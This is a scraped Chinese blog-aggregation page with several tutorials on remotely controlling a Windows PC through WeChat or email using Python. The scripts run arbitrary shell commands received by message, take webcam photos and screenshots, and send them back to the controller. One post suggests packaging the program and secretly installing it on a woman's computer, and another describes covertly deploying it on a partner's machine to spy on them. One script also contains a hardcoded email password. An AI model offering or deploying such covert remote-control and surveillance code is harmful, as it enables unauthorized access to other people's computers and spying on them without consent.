精华内容
下载资源
问答
  • 主要为大家详细介绍了python实现微信远程控制电脑的方法,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
  • 主要介绍了python编写微信远程控制电脑的程序,使用python编写的基于邮件收发的远程控制电脑的代码,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
  • 今天来分享一个“高大上”的技术——使用python编写一个能够用微信远程控制电脑的程序! 先来分析一下控制的详细流程: 我们使用微信给特定的邮箱发送一封邮件,当中包括了我们想要电脑运行的命令。然后电脑上的...

    今天来分享一个“高大上”的技术——使用python编写一个能够用微信远程控制电脑的程序!

    先来分析一下控制的详细流程:

    我们使用微信给特定的邮箱发送一封邮件,当中包括了我们想要电脑运行的命令。然后电脑上的python程序获取到这封邮件,然后解析当中的命令,再交付给电脑运行。能够看出。这当中基本的技术难点就是获取邮件了!可是!这没有不论什么问题。大家看到我的上一篇博客《python 收发邮件》 http://blog.csdn.net/ivan_zgj/article/details/51013833 就能够了。以下给出使用python收发邮件并运行邮件命令的代码。

    # -*- coding:utf-8 -*-
    from email.mime.text import MIMEText
    import poplib
    import smtplib
    import os
    
    
    class MailManager(object):
    
        def __init__(self):
            self.popHost = 'pop.sina.com'
            self.smtpHost = 'smtp.sina.com'
            self.port = 25
            self.userName = 'ivanzgj@sina.com'
            self.passWord = 'zgj123'
            self.bossMail = '475176416@qq.com'
            self.login()
            self.configMailBox()
    
        # 登录邮箱
        def login(self):
            try:
                self.mailLink = poplib.POP3_SSL(self.popHost)
                self.mailLink.set_debuglevel(0)
                self.mailLink.user(self.userName)
                self.mailLink.pass_(self.passWord)
                self.mailLink.list()
                print u'login success!'
            except Exception as e:
                print u'login fail! ' + str(e)
                quit()
    
        # 获取邮件
        def retrMail(self):
            try:
                mail_list = self.mailLink.list()[1]
                if len(mail_list) == 0:
                    return None
                mail_info = mail_list[0].split(' ')
                number = mail_info[0]
                mail = self.mailLink.retr(number)[1]
                self.mailLink.dele(number)
    
                subject = u''
                sender = u''
                for i in range(0, len(mail)):
                    if mail[i].startswith('Subject'):
                        subject = mail[i][9:]
                    if mail[i].startswith('X-Sender'):
                        sender = mail[i][10:]
                content = {'subject': subject, 'sender': sender}
                return content
            except Exception as e:
                print str(e)
                return None
    
        def configMailBox(self):
            try:
                self.mail_box = smtplib.SMTP(self.smtpHost, self.port)
                self.mail_box.login(self.userName, self.passWord)
                print u'config mailbox success!'
            except Exception as e:
                print u'config mailbox fail! ' + str(e)
                quit()
    
        # 发送邮件
        def sendMsg(self, mail_body='Success!'):
            try:
                msg = MIMEText(mail_body, 'plain', 'utf-8')
                msg['Subject'] = mail_body
                msg['from'] = self.userName
                self.mail_box.sendmail(self.userName, self.bossMail, msg.as_string())
                print u'send mail success!'
            except Exception as e:
                print u'send mail fail! ' + str(e)
    
    if __name__ == '__main__':
        mailManager = MailManager()
        mail = mailManager.retrMail()
        if mail is not None:
            cmd = mail['subject']
            os.system(cmd)
            mailManager.sendMsg()
    上述代码的逻辑是:邮件的主题为要运行的命令,然后python获取邮箱的邮件,解析其主题,然后交到命令行运行。

    运行成功后发送一封success的邮件给我。

    以下測试一下。

    我使用qq邮箱给我指定的邮箱发送了以下这样一封邮件。

    这封邮件的命令是要打开mail.py这个文件。然后我们在电脑上执行上述代码程序,就能够看到其打开了mail.py这个文件了!

    如今,这个程序仅仅会执行一次,然后就会退出。我们仅仅要给它加个死循环就能够让它一直执行了~


    if __name__ == '__main__':
        while True:
            mailManager = MailManager()
            mail = mailManager.retrMail()
            if mail is not None:
                cmd = mail['subject']
                os.system(cmd)
                mailManager.sendMsg()
            time.sleep(5)
    如今我们仅仅要执行其这个程序,然后我们拿着手机,打开微信。一封邮件,便可随时远控电脑!想想。你们拿着这个程序,打包一下,然后悄悄地撞到你心仪的妹子电脑上。趁她不注意的时候。发一封邮件。然后让妹子的电脑干点什么事情(比如显示一段文字表白什么的),想想都非常激动呢!

    。!

    好的。以下直接给出一个源代码链接吧。

    python 微信远程控制电脑

    展开全文
  • 一、涉及知识点讲解 os.system()返回值是脚本的退出状态码 os.popen()可以实现一个“管道”,从这个命令获取的值可以继续被使用。因为它返回一个文件对象,可以对这个文件...二、微信远程控制电脑执行命令实现 ...

    一、涉及知识点讲解
    os.system()返回值是脚本的退出状态码

    os.popen()可以实现一个“管道”,从这个命令获取的值可以继续被使用。因为它返回一个文件对象,可以对这个文件对象进行相关的操作。
    二、微信远程控制电脑执行命令实现
    在这里插入图片描述
    在这里插入图片描述

    展开全文
  • 今天带给大家一个非常有意思的 python 程序,基于 itchat 实现微信控制电脑。你可以通过在微信发送命令,来拍摄当前电脑的使用者,然后图片会发送到你的微信上。甚至你可以发送命令来远程关闭电脑 应用场景 你可爱...

    今天带给大家一个非常有意思的 python 程序,基于 itchat 实现微信控制电脑。你可以通过在微信发送命令,来拍摄当前电脑的使用者,然后图片会发送到你的微信上。甚至你可以发送命令来远程关闭电脑
    在这里插入图片描述

    应用场景

    你可爱又迷人的女朋友,在看到这篇教程之后,非常的开心。在你的电脑上部署了这个脚本,并且在你不知情的情况下,默默的登录上。随后跟你说我出去跟闺蜜逛街啦,今天就不陪你了。要记得不准吃鸡。

    你心想老子终于可以放松一天了!开心的吃鸡!口上说着:“好的!亲爱的玩得开心!”等着女朋友出门以后,你就开启了吃鸡模式,在绝地求生里大开杀戒。

    你的女朋友早已对你了如指掌,通过脚本,先让电脑截图留下现场证据,随后再打电话质问你是否在吃鸡,你如果撒谎就把电脑远程关机。

    最后你想了下不对我没有女朋友啊,随后你转头微笑地看着你的室友。

    程序思路

    此次程序使用的环境是 python3.6 + windows10,在运行程序之前请先确保你已经安装好了 opencv-python 和 matplotlib。通过 pip install 即可安装。

    程序主要是通过使用 itchat 库来登录到微信网页端,然后通过 itchat 来发送消息和接收消息。并通过 opencv 来调用电脑的摄像头,把当前使用电脑的用户拍照下来,发送到你的微信上。至于远程关机是通过调用 os 库,发送 cmd 命名即可实现。

    程序源码

    ---------------------------------------------------------------
    注:我这有个学习基地,里面有很多学习资料,感兴趣的+Q群:895 797 751
    ---------------------------------------------------------------
    import itchat
    import os
    import time
    import cv2
    
    sendMsg = u"{消息助手}:暂时无法回复"
    usageMsg = u"使用方法:\n1.运行CMD命令:cmd xxx (xxx为命令)\n" \
               u"-例如关机命令:\ncmd shutdown -s -t 0 \n" \
               u"2.获取当前电脑用户:cap\n3.启用消息助手(默认关闭):ast\n" \
               u"4.关闭消息助手:astc"
    flag = 0 #消息助手开关
    nowTime = time.localtime()
    filename = str(nowTime.tm_mday)+str(nowTime.tm_hour)+str(nowTime.tm_min)+str(nowTime.tm_sec)+".txt"
    myfile = open(filename, 'w')
    
    @itchat.msg_register('Text')
    def text_reply(msg):
        global flag
        message = msg['Text']
        fromName = msg['FromUserName']
        toName = msg['ToUserName']
    
        if toName == "filehelper":
            if message == "cap":
                cap = cv2.VideoCapture(0)
                ret, img = cap.read()
                cv2.imwrite("weixinTemp.jpg", img)
                itchat.send('@img@%s'%u'weixinTemp.jpg', 'filehelper')
                cap.release()
            if message[0:3] == "cmd":
                os.system(message.strip(message[0:4]))
            if message == "ast":
                flag = 1
                itchat.send("消息助手已开启", "filehelper")
            if message == "astc":
                flag = 0
                itchat.send("消息助手已关闭", "filehelper")
        elif flag == 1:
            itchat.send(sendMsg, fromName)
            myfile.write(message)
            myfile.write("\n")
            myfile.flush()
    
    if __name__ == '__main__':
        itchat.auto_login()
        itchat.send(usageMsg, "filehelper")
        itchat.run()
    

    程序并不复杂,定义了一些发送的消息,然后通过调用 itchat 和 cv2 相关库的操作,即可实现。关于 itchat 库的一些操作,可以去网上找相关的文档。

    发送消息「cmd shutdown -s -t 0」即可让当前的电脑关闭。

    发送消息「cap」即可调用电脑摄像头拍摄当前用户,然后把图片发送到微信上。

    当然 cmd 命名还可以做更多有趣的事,大家可以自己去网上搜索下。

    这波骚操作学会了吗?明天会继续更新新的骚操作「Python 发一个高逼格的朋友圈」

    展开全文
  • itchat是一个开源的微信个人号接口,使用python调用微信从未如此简单。 使用不到三十行的代码,你就可以完成一个能够处理所有信息的微信机器人。 当然,该api的使用远不止一个机器人,更多的功能等着你来发现,...

    itchat是一个开源的微信个人号接口,使用python调用微信从未如此简单。

    使用不到三十行的代码,你就可以完成一个能够处理所有信息的微信机器人。

    当然,该api的使用远不止一个机器人,更多的功能等着你来发现,比如这些

    该接口与公众号接口itchatmp共享类似的操作方式,学习一次掌握两个工具。

    如今微信已经成为了个人社交的很大一部分,希望这个项目能够帮助你扩展你的个人的微信号、方便自己的生活。

    官方文档http://itchat.readthedocs.io

    itchat的仓库地址https://github.com/littlecodersh/ItChat 

    安装:

    pip install itchat
    

    代码:

    #!/usr/bin/python
    # -*- coding: UTF-8 -*-
    import itchat
    import os
    import cv2
    from PIL import ImageGrab
    
    usageMsg = u"使用方法:\n1.运行CMD命令:cmd xxx (xxx为命令)\n" \
               u"例如关机命令:\ncmd shutdown -s -t 0 \n" \
               u"2.获取摄像头并拍照:cap\n" \
               u"2.获取屏幕截屏:pc\n" \
    
    @itchat.msg_register('Text')
    def handler_receive_msg(msg):  # 处理收到的消息
        message = msg['Text']
        to_name = msg['ToUserName']
        path = 'E:/sample/temp.jpg'  # 临时保存截屏图片地址
        if to_name == "filehelper":
            if message == "cap":  # 拍照
                #  要使用摄像头,需要使用cv2.VideoCapture(0)创建VideoCapture对象,
                # 参数:0指的是摄像头的编号。如果你电脑上有两个摄像头的话,访问第2个摄像头就可以传入1
                cap = cv2.VideoCapture(0)
                ret, img = cap.read()  # 获取一帧
                cv2.imwrite("temp.jpg", img)
                itchat.send('@img@%s' % u'temp.jpg', 'filehelper')
                cap.release()  # 释放资源
            elif message[0:3] == "cmd":  # 处理cmd命令
                os.system(message.strip(message[0:4]))
            elif message == "pc":  # 截图
                im = ImageGrab.grab()  # 实现截屏功能
                im.save(path, 'JPEG')  # 设置保存路径和图片格式
                itchat.send_image(path, 'filehelper')
            else:
                return msg['Text']
    
    
    if __name__ == '__main__':
        itchat.auto_login(hotReload=True)   # 退出程序后暂存登陆状态
        # itchat.auto_login()
        itchat.send(usageMsg, "filehelper")
        itchat.run()
    
    # 大部分代码为转载,侵告删
    

    (注意:如果安装CV2时出现异常,请参考:Python安装CV2

    效果图:

     

    如果你想在后台无界面运行,参考:运行bat时隐藏cmd窗口

    如果需要做一个聊天机器人,可对接图灵机器人,教程可自行查询,这里不在叙述

     

     

     

    参考:https://blog.csdn.net/m0_38106923/article/details/81978279

    https://blog.csdn.net/sixkery/article/details/81674684

    https://blog.csdn.net/weixin_37557902/article/details/82740593

    https://blog.csdn.net/wangxiao7474/article/details/80050730

    https://itchat.readthedocs.io/zh/latest/tutorial/tutorial0/

    https://www.cnblogs.com/dongxiaodong/p/10490563.html

    https://www.cnblogs.com/wang-li/p/9744502.html

    侵告删

     

     

    展开全文
  • 于是一时手痒,开始了新一轮的骚操作,用Python基于itchat实现微信控制电脑打开摄像头拍摄当前电脑的使用者并且将图片发送到你微信上的功能。看到图片后差点闪瞎我 24k 血轮眼。打码上图: 本操作是可以...
  • 于是一时手痒,开始了新一轮的骚操作,用Python基于itchat实现微信控制电脑打开摄像头拍摄当前电脑的使用者并且将图片发送到你微信上的功能。看到图片后差点闪瞎我 24k 血轮眼。打码上图: 这个骚操作的程序脚本...
  • 首先,我们要先看看微信远程控制电脑的原理是什么呢?我们可以利用Python的标准库控制本机电脑,然后要实现远程的话,我们可以把电子邮件作为远程控制的渠道,我们用Python自动登录邮箱检测邮件,当我们发送关机指令...
  • Python骚操作-微信远程控制电脑

    千次阅读 2018-08-10 15:33:18
    Python+微信远程控制电脑   今天带给大家一个非常有意思的 python 程序,基于 itchat 实现微信控制电脑。你可以通过在微信发送命令,来拍摄当前电脑的使用者,然后图片会发送到你的微信上。甚至你可以发送命令...
  • python 程序,基于 itchat 实现微信控制电脑。你可以通过在微信发送命令,来拍摄当前电脑的使用者,然后图片会发送到你的微信上。甚至你可以发送命令来远程关闭电脑。 程序思路: 此次程序使用的环境是 python3.6 ...
  • 今天带给大家一个非常有意思的 python 程序,基于 itchat 实现微信控制电脑。你可以通过在微信发送命令,来拍摄当前电脑的使用者,然后图片会发送到你的微信上。甚至你可以发送命令来远程关闭电脑。 应用场景 你...
  • 前段时间在某微信公众号上看到的,觉得很棒,好东西就要分享出来嘛 import itchat import os import time import cv2 sendMsg = u"{消息助手}:暂时无法回复" usageMsg = u"使用方法:\n1.运行CMD...
  • python实现的微信远程控制电脑关机
  • 1. 项目环境 语言:Python3.7 编辑器:sublime Text ...也可以发送cmd命令来控制电脑进行其他操作(例如电脑关机)。 3. 项目思路 1. 通过使用itchat库来登录到微信网页端,然后通过itchat来发送消息和接...
  • Python 骚操作:微信远程控制电脑

    千次阅读 2018-08-23 13:11:53
    通过在微信发送命令,来拍摄当前电脑的使用者,然后图片会发送到你的微信上。

空空如也

空空如也

1 2 3 4 5
收藏数 83
精华内容 33
关键字:

python微信远程控制电脑

python 订阅